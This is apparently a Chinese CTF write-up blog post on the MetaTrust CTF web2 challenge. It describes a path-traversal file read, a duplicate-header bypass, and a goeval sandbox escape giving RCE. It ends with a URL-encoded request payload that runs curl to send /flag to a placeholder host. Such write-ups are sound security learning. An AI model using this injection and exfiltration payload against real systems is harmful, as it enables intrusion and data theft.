默认分类

MetaTrust CTF

和朋友们一起参加了MetatrustCTF 最终我们在比赛时解决了除ZKP的所有问题,有一道题因赛时RPC问题没有成功提交。最终排名rank4 这里记录一些比较有意义和我做的比较有意思的题目。

web2

区块链比赛突然出现了一个传统的web题,很诡异。
开局提示nginx.我以为是1.18.0的http请求走私。最后发现并不是。
后来我扫了一下目录 发现了 /login 和 /wwwlog 2个路由。
wwwlog路由下比较有趣。
给出了 nginx.conf
2023-09-15T15:03:04.png

这里有几个比较有趣的路由。
一个对应main.go 一个对应 a.py
这里出现了一个类似目录穿越的漏洞。可以读取文件
/login../main.go
/login../a.py

package main

import (
    eval "github.com/PaulXu-cn/goeval"
    "github.com/gin-gonic/gin"
    "net/http"
    "net/http/httputil"
    "net/url"
)

func main() {
    r := gin.Default()
    r.GET("/sadfh9obdfe1", func(c *gin.Context) {
        print(c.Request.Header)
        if abc := c.GetHeader("abc"); abc != "" {
            c.String(http.StatusOK, "you are the hacker")
            return
        }

        remote, err := url.Parse("http://127.0.0.1:5002")
        if err != nil {
            return
        }
        proxy := httputil.NewSingleHostReverseProxy(remote)
        proxy.Director = func(req *http.Request) {
            req.URL.Scheme = remote.Scheme
            req.URL.Host = remote.Host
            req.URL.Path = "/sendsend"
            req.Host = remote.Host
        }
        print("SENDING")
        proxy.ServeHTTP(c.Writer, c.Request)
    })

    r.GET("/hack", func(c *gin.Context) {
        run := c.DefaultQuery("run", "fmt")
        print(run)
        if res, err := eval.Eval("", "fmt.Print(123)", run); nil == err {
            print(string(res))
        } else {
            print(err.Error())
        }
    })
    r.Run("0.0.0.0:8081")
}
from flask import Flask, request
import os
import requests
app = Flask(__name__)

@app.route('/sendsend')
def sadfh9obdfe1():
    print(request.headers)
    send = request.headers.get('abc')
    print(send[1:])
    requests.get('http://127.0.0.1:8081/hack?run='+send[1:])
    return ""

if "__main__" == __name__:
    app.run(host="0.0.0.0",port = 5002)

稍微本地调试的时候修改了点。看到了这个我们发现 在go的hack路由里面有一个Eval().这类似于一个go沙盒。
可以调试源码利用代码拼接来逃逸出来。比较简单。
那么攻击流程是通过 go的第一个路由请求到 python -> go hack 实现RCE
那么唯独一个问题 就是 abc header的绕过。
通过fuzz测试出来。在解析header的时候 如果我们

abc:
abc: poc

可以满足 go解析的时候会读取到空键值,而python读取到了 ,poc
所以他转发的时候也加了个[1:]
从而实现最终的RCE。
我是利用curl 读文件了。

GET /sadfh9obdfe1 HTTP/1.1
Host: 35.197.147.15:24080
abc: 
abc: os%2Fexec%22%0A%22fmt%22%29%0Afunc%09init%28%29%7B%0A%09cmd%09%3A%3Dexec%2ECommand%28%22curl%22%2C%22http%3A%2F%2Fip%3Aport%22%2C%22%2Dd%22%2C%22%40%2Fflag%22%29%0A%09res%2Cerr%09%3A%3D%09cmd%2ECombinedOutput%28%29%0A%09fmt%2EPrintln%28string%28res%29%29%0A%09fmt%2EPrintln%28err%29%0A%7D%0Aconst%28%0A%09Message%3D%22fmt

Move

后续复现。膜Ainevsia师傅。。。。

Solidity

有几个defi的利用思路还挺有意思。。。gas题真别搞hhhh

回复

This is just a placeholder img.